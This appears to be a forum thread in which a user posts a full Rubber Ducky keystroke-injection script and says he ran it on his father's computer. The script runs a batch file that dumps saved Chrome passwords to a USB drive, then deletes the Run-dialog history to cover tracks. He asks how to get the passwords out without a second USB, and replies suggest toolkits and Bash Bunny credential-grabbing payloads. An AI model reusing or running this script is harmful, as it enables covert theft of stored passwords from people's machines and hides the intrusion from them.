Jump to content

making the payload fatser


Recommended Posts

hey, I just got my first rubber ducky today and i already ran my first payload on my dad ( he was like *.*) . so before executing, i downloaded WebBrowserPassView version 1.45 where the program would run and create a .txt file where all the chrome passwords are saved in and put it on a usb that i bought. this usb is very small(maybe the the size of my nail) and i plugged it minutes before my ducky, after plugging the usb i saw that the usb was recognized as drive F: so at this moment i wrote my script

REM open cmd
DELAY 1000
GUI R
DELAY 200
STRING cmd
DELAY 150
ENTER
REM resize cmd
DELAY 200
STRING MODE CON: COLS=15 LINES=1
DELAY 10
ENTER
REM access the F: drive
STRING F:
ENTER
REM launch the bat file
DELAY 200
STRING LAUNCH.BAT
ENTER
DELAY 300
REM clear my tracks
STRING  powershell "Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue
DELAY 100
ENTER
DELAY 500
REM exit cmd
STRING EXIT
DELAY 10 
ENTER
 

 

After that i remove the ducky and wait for the appropriate time to remove the usb and plug it in another computer and get the password.txt

So my question is, is there a way to access those files without using another usb(i heard about the twin ducky, i might try it, but im open for other suggesions) thanks!!

Link to comment
Share on other sites

1 minute ago, Rainman_34 said:

you would have to save the results to a .txt file on the computer first and then export them that way.  Check out ducktoolkit.com.  You can check some things you want done and it will show you the coding and take the ideas from that.

Thanks for taking the time to read and reply!

Link to comment
Share on other sites

You could make your own Ducky with a Pi Zero W (bit more DIY than out-of-the-box) or you can buy a Bash Bunny which has on-board support for ethernet, Ducky and storage attacks. There are many cred-grabbing payloads available for the BB. Those are the simplest ways if you're looking for a 1-USB-does-all solution. Might not be the cheapest ways though.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...